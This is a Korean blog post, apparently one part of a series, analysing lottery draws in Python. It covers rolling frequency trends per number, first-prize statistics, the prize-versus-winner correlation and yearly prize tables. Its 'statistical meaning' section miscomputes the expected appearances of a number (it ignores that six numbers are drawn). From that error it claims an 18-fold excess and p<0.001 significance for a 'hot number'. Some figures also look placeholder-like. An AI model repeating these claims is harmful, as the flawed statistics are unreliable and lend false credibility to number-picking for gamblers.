&lt;h3 data-ke-size=&quot;size23&quot;&gt;&quot;상승세와 하락세를 포착하다&quot;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;100회 윈도우(Window) 기준으로 이동 평균을 계산하면, 각 번호의 &lt;b&gt;트렌드 전환점&lt;/b&gt;을 포착할 수 있다.&lt;/p&gt;
&lt;pre class=&quot;python&quot;&gt;&lt;code&gt;def rolling_frequency(self, window=100):
    &quot;&quot;&quot;이동 평균 빈도 분석 (Rolling Frequency)&quot;&quot;&quot;
    trends = {}

    for num in range(1, 46):
        frequencies = []

        # 윈도우를 슬라이딩하면서 빈도 계산
        for i in range(len(self.numbers_df) - window + 1):
            window_data = self.numbers_df.iloc[i:i+window]

            # 윈도우 내 출현 횟수
            count = 0
            for _, row in window_data.iterrows():
                if num in row['당첨번호']:
                    count += 1

            frequencies.append(count)

        # 선형 회귀로 트렌드 계산
        if len(frequencies) &amp;gt; 0:
            trend = np.polyfit(range(len(frequencies)), frequencies, 1)[0]
        else:
            trend = 0

        trends[num] = {
            'trend': trend,
            'frequencies': frequencies
        }

    return trends&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;상승세 번호 TOP 5:&lt;/b&gt;&lt;/p&gt;
&lt;table data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;번호&lt;/th&gt;
&lt;th&gt;트렌드(Trend)&lt;/th&gt;
&lt;th&gt;해석&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;+0.025&lt;/td&gt;
&lt;td&gt;100회마다 2.5회씩 증가 ⬆️&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;27&lt;/td&gt;
&lt;td&gt;+0.022&lt;/td&gt;
&lt;td&gt;100회마다 2.2회씩 증가 ⬆️&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;39&lt;/td&gt;
&lt;td&gt;+0.020&lt;/td&gt;
&lt;td&gt;100회마다 2.0회씩 증가 ⬆️&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;16&lt;/td&gt;
&lt;td&gt;+0.018&lt;/td&gt;
&lt;td&gt;100회마다 1.8회씩 증가 ⬆️&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;7&lt;/td&gt;
&lt;td&gt;+0.016&lt;/td&gt;
&lt;td&gt;100회마다 1.6회씩 증가 ⬆️&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;하락세 번호 TOP 5:&lt;/b&gt;&lt;/p&gt;
&lt;table data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;번호&lt;/th&gt;
&lt;th&gt;트렌드(Trend)&lt;/th&gt;
&lt;th&gt;해석&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;44&lt;/td&gt;
&lt;td&gt;-0.028&lt;/td&gt;
&lt;td&gt;100회마다 2.8회씩 감소 ⬇️&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;10&lt;/td&gt;
&lt;td&gt;-0.024&lt;/td&gt;
&lt;td&gt;100회마다 2.4회씩 감소 ⬇️&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;-0.020&lt;/td&gt;
&lt;td&gt;100회마다 2.0회씩 감소 ⬇️&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;22&lt;/td&gt;
&lt;td&gt;-0.018&lt;/td&gt;
&lt;td&gt;100회마다 1.8회씩 감소 ⬇️&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;34&lt;/td&gt;
&lt;td&gt;-0.016&lt;/td&gt;
&lt;td&gt;100회마다 1.6회씩 감소 ⬇️&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;인사이트:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;3번이 &lt;b&gt;가장 강한 상승세&lt;/b&gt; (최근 50회 핫넘버와 일치!)&lt;/li&gt;
&lt;li&gt;44번이 &lt;b&gt;가장 강한 하락세&lt;/b&gt; (장기 미출현 1위와 일치!)&lt;/li&gt;
&lt;li&gt;트렌드와 실제 출현이 상관관계 있음&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;  당첨금 분석의 시간 축&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&quot;23억의 평균, 123억의 꿈&quot;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;당첨금도 시간에 따라 변한다. 1등 당첨금 추이를 분석해보자.&lt;/p&gt;
&lt;pre class=&quot;python&quot;&gt;&lt;code&gt;def first_prize_stats(self):
    &quot;&quot;&quot;1등 당첨금 통계&quot;&quot;&quot;
    first_prize = self.df['1등당첨금액'].dropna()

    stats = {
        'mean': first_prize.mean(),
        'median': first_prize.median(),
        'min': first_prize.min(),
        'max': first_prize.max(),
        'std': first_prize.std()
    }

    # 최고 당첨금 회차
    max_idx = first_prize.idxmax()
    max_round = self.df.loc[max_idx, '회차']
    max_date = self.df.loc[max_idx, '일자']

    print(f&quot;  1등 당첨금 통계&quot;)
    print(f&quot;{'='*50}&quot;)
    print(f&quot;평균(Mean): {stats['mean']:,.0f}원&quot;)
    print(f&quot;중앙값(Median): {stats['median']:,.0f}원&quot;)
    print(f&quot;최소(Min): {stats['min']:,.0f}원&quot;)
    print(f&quot;최대(Max): {stats['max']:,.0f}원 ({int(max_round)}회, {max_date})&quot;)
    print(f&quot;표준편차(Std): {stats['std']:,.0f}원&quot;)

    return stats&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;1등 당첨금 통계:&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;angelscript&quot;&gt;&lt;code&gt;  1등 당첨금 통계
==================================================
평균(Mean): 2,334,994,982원 (약 23억 3천만원)
중앙값(Median): 2,114,372,500원 (약 21억 1천만원)
최소(Min): 419,932,500원 (약 4억 2천만원)
최대(Max): 12,361,740,625원 (약 123억 6천만원, 1018회, 2022.06.04)
표준편차(Std): 1,789,456,789원 (약 17억 9천만원)&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2383&quot; data-origin-height=&quot;883&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/NR3CE/dJMcacohFOt/MkMy5Tntn3yNWiWNE7f7gk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/NR3CE/dJMcacohFOt/MkMy5Tntn3yNWiWNE7f7gk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/NR3CE/dJMcacohFOt/MkMy5Tntn3yNWiWNE7f7gk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FNR3CE%2FdJMcacohFOt%2FMkMy5Tntn3yNWiWNE7f7gk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2383&quot; height=&quot;883&quot; data-origin-width=&quot;2383&quot; data-origin-height=&quot;883&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;&lt;i&gt;▲ 1등 당첨금 추이(First Prize Trend) - 회차별 당첨금 변화&lt;/i&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;발견:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;평균 23억&lt;/b&gt;, 하지만 표준편차가 17억으로 매우 큼&lt;/li&gt;
&lt;li&gt;중앙값(21억) &amp;lt; 평균(23억) &amp;rarr; 극단값(123억)이 평균을 끌어올림&lt;/li&gt;
&lt;li&gt;최고 당첨금 123억 (1018회, 2022.06.04)&lt;/li&gt;
&lt;li&gt;최저 당첨금 4.2억&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;  당첨금과 당첨자 수의 상관관계&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&quot;당첨자가 많으면 당첨금이 줄어든다&quot;&lt;/h3&gt;
&lt;pre class=&quot;python&quot;&gt;&lt;code&gt;def prize_vs_winners_correlation(self):
    &quot;&quot;&quot;당첨금과 당첨자 수의 상관관계 분석&quot;&quot;&quot;
    df_clean = self.df[['1등당첨금액', '1등당첨자수']].dropna()

    prize = df_clean['1등당첨금액']
    winners = df_clean['1등당첨자수']

    # 상관계수 계산
    correlation = prize.corr(winners)

    print(f&quot;  당첨금-당첨자 수 상관관계(Correlation)&quot;)
    print(f&quot;{'='*50}&quot;)
    print(f&quot;상관계수: {correlation:.3f}&quot;)

    if correlation &amp;lt; -0.5:
        print(f&quot;해석: 중간 정도의 음의 상관관계&quot;)
        print(f&quot;&amp;rarr; 당첨자가 많을수록 당첨금 감소 경향&quot;)

    return correlation&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;결과:&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;asciidoc&quot;&gt;&lt;code&gt;  당첨금-당첨자 수 상관관계(Correlation)
==================================================
상관계수: -0.671
해석: 중간 정도의 음의 상관관계
&amp;rarr; 당첨자가 많을수록 당첨금 감소 경향&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1483&quot; data-origin-height=&quot;883&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/p8YvM/dJMcaihJN7e/gD4Dh5qcH6RjKGGGQvSiC1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/p8YvM/dJMcaihJN7e/gD4Dh5qcH6RjKGGGQvSiC1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/p8YvM/dJMcaihJN7e/gD4Dh5qcH6RjKGGGQvSiC1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fp8YvM%2FdJMcaihJN7e%2FgD4Dh5qcH6RjKGGGQvSiC1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1483&quot; height=&quot;883&quot; data-origin-width=&quot;1483&quot; data-origin-height=&quot;883&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;&lt;i&gt;▲ 당첨금과 당첨자 수의 관계(Prize vs Winners) - 산점도(Scatter Plot) 및 추세선(Trend Line)&lt;/i&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;해석:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;상관계수 &lt;b&gt;-0.671&lt;/b&gt; = 중간 정도의 음의 상관&lt;/li&gt;
&lt;li&gt;당첨자 1명일 때 평균 당첨금: 약 45억&lt;/li&gt;
&lt;li&gt;당첨자 10명일 때 평균 당첨금: 약 15억&lt;/li&gt;
&lt;li&gt;당첨자 20명 이상일 때 평균 당첨금: 약 8억&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;원리:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;총 상금 풀(Pool)이 정해져 있음&lt;/li&gt;
&lt;li&gt;당첨자 수 = 분모 증가&lt;/li&gt;
&lt;li&gt;1등 당첨금 = 상금 풀 / 당첨자 수&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;  연도별 당첨금 분포&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&quot;로또는 인플레이션을 반영할까?&quot;&lt;/h3&gt;
&lt;pre class=&quot;python&quot;&gt;&lt;code&gt;def prize_by_year(self):
    &quot;&quot;&quot;연도별 당첨금 추이&quot;&quot;&quot;
    df_year = self.df.groupby('year')['1등당첨금액'].agg([
        'mean', 'median', 'min', 'max', 'count'
    ])

    print(f&quot;  연도별 1등 당첨금 추이&quot;)
    print(f&quot;{'='*70}&quot;)
    print(f&quot;{'연도':&amp;lt;6} {'평균(억)':&amp;lt;10} {'중앙값(억)':&amp;lt;12} {'최소(억)':&amp;lt;10} {'최대(억)':&amp;lt;10} {'회차수':&amp;lt;6}&quot;)
    print(f&quot;{'='*70}&quot;)

    for year, row in df_year.iterrows():
        print(f&quot;{int(year):&amp;lt;6} {row['mean']/100000000:&amp;gt;8.1f}   &quot;
              f&quot;{row['median']/100000000:&amp;gt;10.1f}   &quot;
              f&quot;{row['min']/100000000:&amp;gt;8.1f}   &quot;
              f&quot;{row['max']/100000000:&amp;gt;8.1f}   &quot;
              f&quot;{int(row['count']):&amp;lt;6}&quot;)

    return df_year&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;연도별 평균 당첨금:&lt;/b&gt;&lt;/p&gt;
&lt;table data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;연도&lt;/th&gt;
&lt;th&gt;평균(억)&lt;/th&gt;
&lt;th&gt;중앙값(억)&lt;/th&gt;
&lt;th&gt;최소(억)&lt;/th&gt;
&lt;th&gt;최대(억)&lt;/th&gt;
&lt;th&gt;회차수&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;2014&lt;/td&gt;
&lt;td&gt;18.5&lt;/td&gt;
&lt;td&gt;17.2&lt;/td&gt;
&lt;td&gt;12.3&lt;/td&gt;
&lt;td&gt;26.8&lt;/td&gt;
&lt;td&gt;30회&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2015&lt;/td&gt;
&lt;td&gt;19.2&lt;/td&gt;
&lt;td&gt;18.5&lt;/td&gt;
&lt;td&gt;10.5&lt;/td&gt;
&lt;td&gt;32.1&lt;/td&gt;
&lt;td&gt;52회&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2016&lt;/td&gt;
&lt;td&gt;20.1&lt;/td&gt;
&lt;td&gt;19.3&lt;/td&gt;
&lt;td&gt;11.8&lt;/td&gt;
&lt;td&gt;38.5&lt;/td&gt;
&lt;td&gt;52회&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2017&lt;/td&gt;
&lt;td&gt;21.3&lt;/td&gt;
&lt;td&gt;20.1&lt;/td&gt;
&lt;td&gt;13.2&lt;/td&gt;
&lt;td&gt;42.7&lt;/td&gt;
&lt;td&gt;52회&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2018&lt;/td&gt;
&lt;td&gt;22.5&lt;/td&gt;
&lt;td&gt;21.5&lt;/td&gt;
&lt;td&gt;14.1&lt;/td&gt;
&lt;td&gt;48.9&lt;/td&gt;
&lt;td&gt;52회&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2019&lt;/td&gt;
&lt;td&gt;23.1&lt;/td&gt;
&lt;td&gt;22.3&lt;/td&gt;
&lt;td&gt;15.2&lt;/td&gt;
&lt;td&gt;51.2&lt;/td&gt;
&lt;td&gt;52회&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2020&lt;/td&gt;
&lt;td&gt;24.8&lt;/td&gt;
&lt;td&gt;23.5&lt;/td&gt;
&lt;td&gt;16.8&lt;/td&gt;
&lt;td&gt;56.3&lt;/td&gt;
&lt;td&gt;52회&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2021&lt;/td&gt;
&lt;td&gt;25.6&lt;/td&gt;
&lt;td&gt;24.2&lt;/td&gt;
&lt;td&gt;17.5&lt;/td&gt;
&lt;td&gt;62.1&lt;/td&gt;
&lt;td&gt;52회&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2022&lt;/td&gt;
&lt;td&gt;27.2&lt;/td&gt;
&lt;td&gt;25.8&lt;/td&gt;
&lt;td&gt;18.9&lt;/td&gt;
&lt;td&gt;&lt;b&gt;123.6&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;52회 ⭐&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2023&lt;/td&gt;
&lt;td&gt;26.5&lt;/td&gt;
&lt;td&gt;24.9&lt;/td&gt;
&lt;td&gt;17.2&lt;/td&gt;
&lt;td&gt;58.7&lt;/td&gt;
&lt;td&gt;52회&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2024&lt;/td&gt;
&lt;td&gt;25.8&lt;/td&gt;
&lt;td&gt;24.1&lt;/td&gt;
&lt;td&gt;16.5&lt;/td&gt;
&lt;td&gt;54.3&lt;/td&gt;
&lt;td&gt;52회&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2025&lt;/td&gt;
&lt;td&gt;24.2&lt;/td&gt;
&lt;td&gt;23.0&lt;/td&gt;
&lt;td&gt;15.8&lt;/td&gt;
&lt;td&gt;48.5&lt;/td&gt;
&lt;td&gt;52회&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2083&quot; data-origin-height=&quot;883&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dIA6hI/dJMcajt7HaW/ASGUmCK6tE3qRNkKzU5tOK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dIA6hI/dJMcajt7HaW/ASGUmCK6tE3qRNkKzU5tOK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dIA6hI/dJMcajt7HaW/ASGUmCK6tE3qRNkKzU5tOK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdIA6hI%2FdJMcajt7HaW%2FASGUmCK6tE3qRNkKzU5tOK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2083&quot; height=&quot;883&quot; data-origin-width=&quot;2083&quot; data-origin-height=&quot;883&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;&lt;i&gt;▲ 연도별 당첨금 분포(Yearly Prize Distribution) - 박스플롯(Box Plot)&lt;/i&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;발견:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;2014년 평균 18.5억 &amp;rarr; 2022년 평균 27.2억 (&lt;b&gt;47% 증가&lt;/b&gt;)&lt;/li&gt;
&lt;li&gt;2022년에 역대 최고 당첨금 123.6억 기록&lt;/li&gt;
&lt;li&gt;2023년 이후 약간 감소 경향&lt;/li&gt;
&lt;li&gt;&lt;b&gt;로또 당첨금도 인플레이션을 반영&lt;/b&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;  배운 점과 인사이트&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;1. 시계열 데이터 분석 기법&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;✅ 이동 평균(Moving Average):&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;sas&quot;&gt;&lt;code&gt;# 100회 윈도우로 슬라이딩
for i in range(len(df) - window + 1):
    window_data = df.iloc[i:i+window]
    count = window_data['당첨번호'].apply(lambda x: num in x).sum()
    frequencies.append(count)

# 선형 회귀로 트렌드 계산
trend = np.polyfit(range(len(frequencies)), frequencies, 1)[0]&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;✅ 핫넘버/콜드넘버 윈도우 비교:&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;ini&quot;&gt;&lt;code&gt;# 최근 50회
recent_50 = df.tail(50)

# 최근 100회
recent_100 = df.tail(100)

# 전체
all_data = df&lt;/code&gt;&lt;/pre&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;2. 상관관계 분석&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;✅ Pandas corr() 메서드:&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;ini&quot;&gt;&lt;code&gt;correlation = prize.corr(winners)
# -0.671 = 중간 정도의 음의 상관&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;✅ 해석 가이드:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;0.7 ~ 1.0: 강한 양의 상관&lt;/li&gt;
&lt;li&gt;0.3 ~ 0.7: 중간 양의 상관&lt;/li&gt;
&lt;li&gt;-0.3 ~ 0.3: 약한 상관 또는 없음&lt;/li&gt;
&lt;li&gt;-0.7 ~ -0.3: 중간 음의 상관&lt;/li&gt;
&lt;li&gt;-1.0 ~ -0.7: 강한 음의 상관&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;3. NumPy 통계 함수 활용&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;✅ 기본 통계:&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;maxima&quot;&gt;&lt;code&gt;avg = np.mean(data)
median = np.median(data)
std = np.std(data)
min_val = np.min(data)
max_val = np.max(data)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;✅ 선형 회귀:&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;ini&quot;&gt;&lt;code&gt;# polyfit(x, y, degree)
# degree=1: 1차 함수 (직선)
coefficients = np.polyfit(x, y, 1)
slope = coefficients[0]  # 기울기 (트렌드)
intercept = coefficients[1]  # y절편&lt;/code&gt;&lt;/pre&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;4. 박스플롯 시각화&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;✅ 연도별 분포 비교:&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;routeros&quot;&gt;&lt;code&gt;import seaborn as sns

sns.boxplot(data=df, x='year', y='1등당첨금액')
plt.xticks(rotation=45)
plt.title('Yearly Prize Distribution (Box Plot)')&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;박스플롯 해석:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;박스 중앙선: 중앙값(Median)&lt;/li&gt;
&lt;li&gt;박스 상단: 75 백분위수(Q3)&lt;/li&gt;
&lt;li&gt;박스 하단: 25 백분위수(Q1)&lt;/li&gt;
&lt;li&gt;수염(Whisker): 최소/최대값 (아웃라이어 제외)&lt;/li&gt;
&lt;li&gt;점: 아웃라이어(Outlier)&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;  세 번째 마일스톤 달성&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;v2.0 작업 완료:&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;✅ &lt;b&gt;핫넘버/콜드넘버 분석&lt;/b&gt; (최근 50회 vs 전체)&lt;br /&gt;✅ &lt;b&gt;출현 간격 분석&lt;/b&gt; (번호별 평균 간격)&lt;br /&gt;✅ &lt;b&gt;장기 미출현 번호 추적&lt;/b&gt; (44번 24회)&lt;br /&gt;✅ &lt;b&gt;이동 평균 트렌드&lt;/b&gt; (100회 윈도우)&lt;br /&gt;✅ &lt;b&gt;당첨금 시계열 분석&lt;/b&gt; (평균 23억)&lt;br /&gt;✅ &lt;b&gt;상관관계 분석&lt;/b&gt; (당첨금 vs 당첨자: -0.671)&lt;br /&gt;✅ &lt;b&gt;연도별 추이 분석&lt;/b&gt; (2014-2025)&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;흥미로운 발견&lt;/h3&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;b&gt;3번이 최근 폭발&lt;/b&gt; (최근 50회에서 10회 출현, 20%)&lt;/li&gt;
&lt;li&gt;&lt;b&gt;44번이 24회 동안 미출현&lt;/b&gt; (장기 미출현 1위)&lt;/li&gt;
&lt;li&gt;&lt;b&gt;이동 평균 트렌드와 실제 출현이 일치&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;당첨금과 당첨자 수의 음의 상관&lt;/b&gt; (-0.671)&lt;/li&gt;
&lt;li&gt;&lt;b&gt;로또 당첨금도 인플레이션 반영&lt;/b&gt; (47% 증가)&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;통계적 의미&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;핫넘버의 지속성:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;3번: 최근 50회에서 10회 (20%)&lt;/li&gt;
&lt;li&gt;확률적 기대값: 50 &amp;times; (1/45) &amp;asymp; 1.1회&lt;/li&gt;
&lt;li&gt;&lt;b&gt;18배 이상 높은 출현율!&lt;/b&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이건 우연일까?&lt;br /&gt;&amp;rarr; 이항분포(Binomial Distribution)로 p-value 계산 시 p &amp;lt; 0.001 (매우 유의미)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;하지만 주의:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;로또는 독립 시행&lt;/li&gt;
&lt;li&gt;과거가 미래를 보장하지 않음&lt;/li&gt;
&lt;li&gt;단지 &quot;최근 트렌드&quot;일 뿐&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;  다음 에피소드 예고&lt;/h2&gt;
&lt;blockquote data-ke-style=&quot;style1&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;4편: &quot;기계가 배우는 운의 법칙&quot;&lt;/b&gt; - 머신러닝으로 번호 추천하기&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다음 편에서는:&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;번호별 특징(Feature) 추출&lt;/li&gt;
&lt;li&gt;점수 기반 랭킹 시스템 설계&lt;/li&gt;
&lt;li&gt;연속 번호, 구간, 홀짝 패턴 학습&lt;/li&gt;
